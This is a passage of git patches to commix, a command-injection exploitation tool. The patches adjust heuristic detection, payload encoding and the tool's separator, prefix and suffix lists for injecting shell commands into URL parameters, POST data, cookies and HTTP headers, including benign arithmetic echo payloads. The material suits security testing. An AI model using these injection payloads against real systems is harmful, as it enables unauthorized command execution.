header_name = " Host" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.HOST_INJECTION = False + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = False # User-Agent HTTP header injection if menu.options.skip_parameter == None: diff --git a/src/utils/settings.py b/src/utils/settings.py index 19b9b10b0d..b9fbcfd8bb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -268,8 +268,8 @@ def sys_argv_errors(): RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) BASIC_STRING = str(RAND_A) + "+" + str(RAND_B) -BASIC_COMMAND_INJECTION_PAYLOADS = [_urllib.parse.quote_plus(";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))"), - _urllib.parse.quote_plus("|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")") +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))", + "|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")" ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) IDENTIFIED_COMMAND_INJECTION = False @@ -388,22 +388,22 @@ def sys_argv_errors(): # The command injection separators. SEPARATORS = [] -SPECIAL_SEPARATORS = ["%0a", "%0d%0a","%1a"] -DEFAULT_SEPARATORS = ["", ";", "&", "&&", "|", "||"] +DEFAULT_SEPARATORS = [";", "&", "|"] +SPECIAL_SEPARATORS = ["&&", "||", "%0a", "%0d%0a", "%1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS -SEPARATORS_LVL3 = SEPARATORS_LVL2 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS + [_urllib.parse.quote_plus(x).lower() for x in DEFAULT_SEPARATORS] +SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] -PREFIXES_LVL2 = PREFIXES_LVL1 + [" ", "'", "\"", "&", "|", "'&"] -PREFIXES_LVL3 = PREFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in PREFIXES_LVL2] +PREFIXES_LVL2 = SEPARATORS_LVL1 +PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 # The command injection suffixes. SUFFIXES = [] -SUFFIXES_LVL1 = [""] -SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'", "\"", "&&", "|", "||", " #", "//", "\\\\", "&'"] -SUFFIXES_LVL3 = SUFFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in SUFFIXES_LVL1] +SUFFIXES_LVL1 = DEFAULT_SEPARATORS +SUFFIXES_LVL2 = SEPARATORS_LVL1 +SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 # Bad combination of prefix and separator JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] From 46ca94f7166831bf765ab0142a5dea8628a827ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 27 Mar 2022 09:09:37 +0300 Subject: [PATCH 0091/1023] Minor update --- src/core/injections/controller/controller.py | 23 +++++++++----------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8cb4a79e83..6014fd7931 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -91,7 +91,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = payload + menu.options.suffix _ = _ + 1 if not inject_http_headers: - payload = _urllib.parse.quote_plus(payload) + payload = _urllib.parse.quote(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -122,10 +122,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, print(settings.print_bold_info_msg(info_msg)) break - if not settings.IDENTIFIED_COMMAND_INJECTION: - warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) - settings.CLASSIC_STATE = False return url @@ -136,7 +132,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, """ Basic heuristic checks for code injection warnings """ -def code_injections_heuristic_basic(url, http_request_method): +def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" @@ -177,6 +173,8 @@ def code_injections_heuristic_basic(url, http_request_method): request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -192,7 +190,7 @@ def code_injections_heuristic_basic(url, http_request_method): settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) detection shows that target might be injectable via " + technique + "." + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -282,7 +280,6 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) - # Check if it's exploitable via time-based command injection technique. def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "blind OS command injection" @@ -319,7 +316,6 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): - # Skipping basic heuristic detection procedure (regarding specific HTTP headers). inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): @@ -358,14 +354,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings - if not inject_http_headers: - url = code_injections_heuristic_basic(url, http_request_method) + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: @@ -387,6 +380,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_error_msg(err_msg)) pass + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) + info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" diff --git a/src/utils/settings.py b/src/utils/settings.py index b9fbcfd8bb..68672e62cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8b144860026c496ad10a5fc11bd306684cec484b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 28 Mar 2022 09:30:49 +0300 Subject: [PATCH 0092/1023] Minor update for (https://github.com/commixproject/commix/commit/e46594b067a44c7af1d26956ed040e3414444932) --- src/core/injections/controller/controller.py | 9 +++++---- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6014fd7931..7dc76d635e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -85,13 +85,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, print(settings.print_debug_msg(debug_msg)) _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + _ = _ + 1 + if not inject_http_headers: + payload = _urllib.parse.quote(payload) if menu.options.prefix: payload = menu.options.prefix + payload if menu.options.suffix: payload = payload + menu.options.suffix - _ = _ + 1 - if not inject_http_headers: - payload = _urllib.parse.quote(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -416,7 +416,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time classic_command_injection_technique(url, timesec, filename, http_request_method) else: classic_command_injection_technique(url, timesec, filename, http_request_method) - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + if not settings.IDENTIFIED_COMMAND_INJECTION: + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) diff --git a/src/utils/settings.py b/src/utils/settings.py index 68672e62cd..06db437aff 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 02e00e40a00aecb80bfbefec0a19c160f9dbd270 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 29 Mar 2022 07:36:33 +0300 Subject: [PATCH 0093/1023] Minor update regarding hex encoded characters recognition --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 06db437aff..a5bbe6531a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -845,7 +845,7 @@ def sys_argv_errors(): BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$' # Hex encoded characters recognition -HEX_RECOGNITION_REGEX = r'^[0-9a-f]+' +HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' # GET parameters recognition GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" From 9e5bab98992b2f60f4b3f289ee7297e956b29fb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 30 Mar 2022 07:32:43 +0300 Subject: [PATCH 0094/1023] Minor update --- src/core/injections/controller/controller.py | 6 ++---- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7dc76d635e..20e7b58c33 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -88,10 +88,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = _ + 1 if not inject_http_headers: payload = _urllib.parse.quote(payload) - if menu.options.prefix: - payload = menu.options.prefix + payload - if menu.options.suffix: - payload = payload + menu.options.suffix + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) diff --git a/src/utils/settings.py b/src/utils/settings.py index a5bbe6531a..dd35c3d083 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0d66a00d8721715198387f6e8fb3506b44a42b77 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 31 Mar 2022 08:31:19 +0300 Subject: [PATCH 0095/1023] Minor update regarding testable parameter(s) --- .../blind/techniques/time_based/tb_injector.py | 16 ++++++++-------- src/core/injections/controller/controller.py | 12 ++++++------ .../techniques/classic/cb_injector.py | 16 ++++++++-------- .../techniques/eval_based/eb_injector.py | 16 ++++++++-------- .../techniques/file_based/fb_injector.py | 16 ++++++++-------- .../techniques/tempfile_based/tfb_injector.py | 16 ++++++++-------- src/core/requests/parameters.py | 11 +++++++---- src/core/requests/requests.py | 2 +- src/utils/settings.py | 4 +++- 9 files changed, 57 insertions(+), 52 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index bebfa4c803..06b0d21f60 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -49,7 +49,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -62,15 +62,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -99,7 +99,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined method is POST. @@ -113,15 +113,15 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 20e7b58c33..ef5fae6c6e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -97,12 +97,12 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) @@ -162,12 +162,12 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 371f737be6..e12d3d9e62 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -52,7 +52,7 @@ def injection_test(payload, http_request_method, url): payload = payload.replace(" ","%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -70,15 +70,15 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -202,7 +202,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -221,15 +221,15 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 538ed8863b..20884d3b98 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -47,7 +47,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -65,15 +65,15 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -190,7 +190,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -209,15 +209,15 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 5a1edf8e47..a823fe5dde 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -54,7 +54,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -75,15 +75,15 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -193,7 +193,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(" ","%20") - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) # Check if defined extra headers. @@ -212,15 +212,15 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 0294a98a3c..5888383d58 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -51,7 +51,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -66,15 +66,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = 